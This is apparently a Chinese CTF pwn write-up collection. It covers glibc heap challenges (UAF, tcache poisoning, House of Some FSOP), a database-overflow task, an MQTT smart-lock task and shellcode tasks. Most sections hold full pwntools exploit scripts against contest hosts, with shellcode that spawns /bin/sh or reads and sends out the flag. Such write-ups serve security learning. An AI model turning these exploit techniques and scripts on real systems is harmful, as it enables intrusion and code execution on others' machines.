标签 heap 下的文章

glibc 2.39 菜单堆。逆向得出堆块结构体:

struct Member
{
    int64_t backup_size;
    char* backup;
    char name[0x20];
    char department[0x18];
    int32_t level;
    int32_t index;
    int64_t create_time;
    uint64_t checksum;
};

写出各功能交互模板:

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

def manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'1')

def backup_edit(index: int, data: bytes):
    backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'1')
    io.sendafter(b'global data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'>: ', b'4')

global_Hash+Append 时可能 off_by_one 写入 ']':

global_init(bytes([(i * 0x25 + 1) % 256 for i in range(0, 0x200)]))
global_xor()

这个不是重点,重点在 backup data 在长度输入错误时程序继续运行且不会覆盖残留的 backup data chunk addr,可以有 UAF。于是可以通过让 unsorted bin chunk bkbackup 重合以泄露基址以及构造假堆块:

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted -> backup
heap_base = u64(backup_view(3).ljust(8, b'\x00')) - 0x8b0
print_leaked('heap_base', heap_base)

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()
print_leaked = lambda name, addr: success(f'{name}: 0x{addr:x}')

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

# io = process(binary)
io = connect('39.106.16.204', 46959)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=False)

# gdb.attach(io, 'set exception-verbose on')

def _manage(index: int):
    """index < 0x10"""
    io.sendlineafter(b'Choice: ', b'1')
    io.sendlineafter(b'index: ', itob(index))

def crew_add(index: int, name: bytes, department: bytes, backup_size: int, backup: bytes | None = None):
    """sizeof(name) <= 0x1f, sizeof(department) <= 0x17, backup_size <= 0x500"""
    _manage(index)
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'Department: ', department)
    io.sendlineafter(b'32: ', itob(backup_size))
    if backup is not None:
        io.sendafter(b'data: ', backup)

def crew_edit(index: int, name: bytes, department: bytes):
    _manage(index)
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'Name: ', name)
    io.sendlineafter(b'department: ', department)

def crew_promote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'2')

def crew_demote(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'3')

def crew_delete(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'4')

def crew_randomize(index: int):
    _manage(index)
    io.sendlineafter(b'> ', b'5')

def crew_summary():
    io.sendlineafter(b'Choice: ', b'2')

def _backup(index: int):
    io.sendlineafter(b'Choice: ', b'3')
    io.sendlineafter(b'Index: ', itob(index))

def backup_view(index: int) -> bytes:
    _backup(index)
    io.sendlineafter(b'> ', b'1')
    io.recvuntil(b'Backup @ ')
    io.recvuntil(b': ')
    return io.recvline(False)

def backup_edit(index: int, data: bytes):
    _backup(index)
    io.sendlineafter(b'> ', b'2')
    io.sendafter(b'content: ', data)

def backup_invert(index: int):
    _backup(index)
    io.sendlineafter(b'> ', b'3')

def global_init(global_data: bytes):
    """sizeof(global_data) <= 0x200"""
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'1')
    io.sendafter(b'data: ', global_data)

def global_view():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'2')

def global_free():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'3')

def global_xor():
    io.sendlineafter(b'Choice: ', b'4')
    io.sendlineafter(b'> ', b'4')

def exitit():
    io.sendlineafter(b'Choice: ', b'5')

crew_add(0, b'a', b'b', 0x500, b'1') # libc leak
crew_add(1, b'a', b'b', 0x20, b'1') # padding
crew_delete(0) # leak libc
crew_add(0, b'a', b'b', 0) # padding
crew_add(2, b'2222', b'2222', 0) # unsorted (libc) -> backup
libc.address = u64(backup_view(2).ljust(8, b'\x00')) - 0x202f40 - 0x1000
print_leaked('libc_base', libc.address)
crew_add(3, b'2222', b'2222', 0) # unsorted (heap) -> backup
heap_addr = u64(backup_view(3).ljust(8, b'\x00'))
heap_base = heap_addr - 0x8b0
print_leaked('heap', heap_addr)

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=heap_addr + 0x4000)
payload = hos.hoi_read_file_template(heap_addr + 0x4000, 0x400, heap_addr + 0x4000, 0)

crew_add(4, b'a', b'b', 0x500, b'1') # unsorted
crew_add(5, b'a', b'b', 0x500, b'1') # padding
crew_add(6, b'a', b'b', 0x500, b'1') # unsorted
crew_add(7, b'a', b'b', 0x500, payload) # padding

crew_delete(4)
crew_delete(6)

crew_add(4, b'a', b'b', 0x260, b'1')
crew_add(6, b'a', b'b', 0)
# gdb.attach(io, '')
crew_add(8, b'a', b'b', 0) # controller
crew_add(9, b'a', b'b', 0x420, b'1')
crew_add(10, b'a', b'b', 0x20, b'1') # victim
backup_edit(8, p64(0) + p64(0x71) + p64(0x20) + p64(0))
crew_add(11, b'a', b'b', 0x3f0, b'1') # padding
crew_delete(1)
crew_delete(10)
backup_edit(8, p64(0) + p64(0x71) + p64((libc.sym['_IO_list_all'] - 0x10) ^ (heap_addr >> 12))) # edit tcache next

crew_add(12, b'PwnRiK', b'L-team', 0)
crew_add(13, p64(heap_addr + 3904), b'PWNED', 0)

exitit()
hos.bomb(io)

io.interactive()

EzDB

程序模拟了一个数据库,其中每个表的数据从高地址向低地址增长,低地址存放数据的堆上偏移。每个表总长 1024 字节,每个偏移 4 字节长。一次性写入 1021 字节的数据可以覆盖偏移值,从而修改块大小,得到堆上无限长溢出读写。

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './db'

# io = process(binary)
io = connect('61.147.171.106', 61212)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

def create(index: int):
    io.sendlineafter(b'>>> ', b'1')
    io.sendlineafter(b'Index: ', itob(index))

def remove(index: int):
    io.sendlineafter(b'>>> ', b'2')
    io.sendlineafter(b'Index: ', itob(index))

def insert(index: int, length: int, content:bytes) -> int:
    io.sendlineafter(b'>>> ', b'3')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Length: ', itob(length))
    io.sendafter(b'Varchar: ', content)
    io.recvuntil(b'slot id: ')
    return int(io.recvline(False).decode())

def get(index: int, slot: int) -> bytes:
    io.sendlineafter(b'>>> ', b'4')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Slot ID: ', itob(slot))
    io.recvuntil(b'Varchar: ')
    return io.recvline(False)

def edit(index: int, slot: int, length: int, content: bytes):
    io.sendlineafter(b'>>> ', b'5')
    io.sendlineafter(b'Index: ', itob(index))
    io.sendlineafter(b'Slot ID: ', itob(slot))
    io.sendlineafter(b'Length: ', itob(length))
    io.sendafter(b'Varchar: ', content)

def exitit():
    io.sendlineafter(b'>>> ', b'6')

for i in range(10):
    create(i)
for i in range(1, 10):
    remove(i)

insert(0, 1021, cyclic(1020) + b'\x00')
rec = get(0, 0)
libc.address = u64(rec[8765 : 8765 + 8]) - 0x21ace0
success(f'libc_base: 0x{libc.address:x}')
tcache_key = u64(rec[1037 : 1037 + 8])
success(f'tcache_key: 0x{tcache_key:x}')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(tcache_key << 12) + 0x4000)
payload = hos.hoi_read_file_template((tcache_key << 12) + 0x4000, 0x400, (tcache_key << 12) + 0x4000, 0)

rec = rec.replace(rec[7613 : 7613 + 8], p64((libc.sym['_IO_list_all'] - 0x400 + 16) ^ (tcache_key + 1)))
edit(0, 0, 7613 + 8, rec[:7613 + 8])

create(1)
insert(1, len(payload), payload)
create(2)
insert(2, 16, p64((tcache_key << 12) + 8128) + p64(0))

exitit()
hos.bomb(io)

io.interactive()

smart_door_lock 复现

分析题目附件

题目给出了启动脚本和 Dockerfile,一个根目录 cpio 镜像,一个内核镜像。打开 rootfs.cpio,在 /init 里有

nohup /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf >/dev/null &
nohup bash /usr/sbin/mqtt_restart.sh >/dev/null &

。其中 mosquitto 是 MQTT 协议的 message broker,是一个用于物联网设备的消息代理服务,和其他设备远程通信。所以这道题的远程环境不是用 nc 直接连的,也没法直接用 pwntools。

/usr/sbin/mqtt_restart.sh 每秒尝试重启 /usr/sbin/mqtt_lock

#!/bin/bash
PROCESS_NAME="mqtt_lock"

while true; do
    if ! ps -ef | grep -v grep | grep -q "$PROCESS_NAME"; then
        nohup /usr/sbin/mqtt_lock > /dev/null 2>&1 &
    fi
    sleep 1
done &

,而 mqtt_lock 就是我们要逆向分析的程序。

MQTT 协议

...

连接 / 利用

首先要把设备的证书取出来,在 /etc/mosquitto/certs,然后用 Python paho 连接设备。

import paho.mqtt.client as mqtt
import ssl

client = mqtt.Client()
client.tls_set(ca_certs="./certs/ca.crt", tls_version=ssl.PROTOCOL_TLS)
client.tls_insecure_set(True)
client.connect('localhost', 8883)
client.loop_start()

但是比赛期间一直不知道该订阅什么 topic,mqtt_lock 又是个静态链接无符号的程序,逆向起来实在难绷。topic 一般有斜杠 /,我翻遍所有的字符串也没找到像 topic 的,于是就先去做其他题了。

订阅 # 就是订阅所有 topic,但对于这道题也没什么用,这个设备不会主动发送任何信息。其实是向 auth_token topic publish 16 字节长的字母数字字符串作为 TOKEN,然后向 TOKEN topic 发送指纹。指纹在 /etc/mosquitto/fingers_credit 中取。

之后就是增删改查堆利用了。

待续...

签个到吧

执行 shellcode 前清空了寄存器上下文,但在 rdi 保留了 shellcode 基址,于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0),getshell。

io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')

好easy嘅题啦

VM 指令 heap 中可以操作堆快,alloc free print input。其中 free 后未置空堆块指针,存在 UAF。首先申请 0x500 大堆块,在其中提前写入之后用到的 shellcode:open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块,获取其中残留的 tcache next,获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定,再利用 UAF double free tcache chunk,tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处,写入ROP 链 mprotect 修改页权限并 ret2shellcode。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'

p = process(binary)
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

io.sendlineafter(b'create? ', b'1\n')

# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
s = 0.5

def heap():
    io.sendline(b'heap 0 0')
    sleep(s)

def alloc(size: int):
    io.sendlineafter(b'Heap operate: ', b'alloc')
    io.sendlineafter(b'Size: ', itob(size))
    sleep(s)

def free():
    io.sendlineafter(b'Heap operate: ', b'free')
    sleep(s)

def printit():
    io.sendlineafter(b'Heap operate: ', b'print')
    sleep(s)

def input(content: bytes):
    io.sendlineafter(b'Heap operate: ', b'input')
    io.sendafter(b'Input: ', content)
    sleep(s)

def AveMujica():
    io.sendline(b'AveMujica 0 0')
    sleep(s)

io.recvuntil(b'Input your Code (end with EOF): ')

for _ in range(13):
    heap()
AveMujica()
io.sendline(b'EOF')

alloc(0x500)
input(p64(0xdeadbeef) * 4 + asm(f"""
    mov rax, 0x67616c662f
    push rax

    mov rax, __NR_open
    mov rdi, rsp
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rax, __NR_read
    mov rdi, 9
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, __NR_sendto
    mov rdi, 7
    syscall
    mov rsi, rsp
    
"""))
free()
printit()

io.recvuntil(b'Content: ')
libc.address = u64(io.recv(8)) - 2206944
success(f'libc_base: 0x{libc.address:x}')

alloc(0x60)
free()
printit()

io.recvuntil(b'Content: ')
heap_key = u64(io.recv(8))
success(f'heap_key: 0x{heap_key:x}')

input(b'\x00' * 16)
free()
input(p64((libc.address - 980792 - 24) ^ heap_key))
alloc(0x60)
# gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)')
alloc(0x60)
input(p64(0xcafebabe) * 3 + flat([
    libc.search(asm('pop rdi;ret')).__next__(),
    heap_key << 12,
    libc.search(asm('pop rsi;ret')).__next__(),
    0x1000,
    libc.search(asm('pop rdx;pop r12;ret')).__next__(),
    7,
    0,
    libc.sym['mprotect'],
    (heap_key << 12) + 1888
]))

io.interactive()

p.wait()

由于 lib 加载顺序不同,远程和本地的线程栈与 libc 偏移不同,需要在 docker container 中调试获取。

米塔调试机

输入指令时使用 scanf %s,可以溢出修改栈上 nowhomenowver,在 name 中构造假 MitaHome 和 Version 堆结构,将 nowhomenowver 劫持到对应位置,即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块,利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning,修改 _IO_list_allname 处,程序正常 exithouse of Some_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。

Exp:

#!/usr/bin/python

from pwn import *
from ctypes import *

itob = lambda x: str(x).encode()

context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vuln6'

# io = process(binary)
io = connect('node.vnteam.cn', 47984)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)

# gdb.attach(io, '')

io.sendlineafter(b'name:\n', cyclic(0x200))
io.sendlineafter(b'>>> ', b'$show')
io.recvuntil(b'caaf')
heap_base = u32(io.recv(4)) - 672
success(f'heap_base: 0x{heap_base:x}')

io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa')
for i in range(25):
    io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa')

name = 0x4040E0

fake_heap  = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40)
fake_heap += p64(0) + p64(0x41) + cyclic(0x30)
fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832)
fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0)

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', fake_heap)
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3))

io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3))
0x1140a340
io.recvuntil(b'Now MiTaHome: ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944
success(f'libc_base: 0x{libc.address:x}')

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2))

io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))

io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername')
io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername')

from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000)
payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', payload)

io.sendlineafter(b'>>> ', b'$exit')
io.recvuntil(b'Player out! :(\n')
hos.bomb_orw(io, b'/flag', offset=1816, read_length=128)

io.interactive()

虽然提示说有要用到可以无限长输入的指令格式,但其实只要空字节截断字符串就好?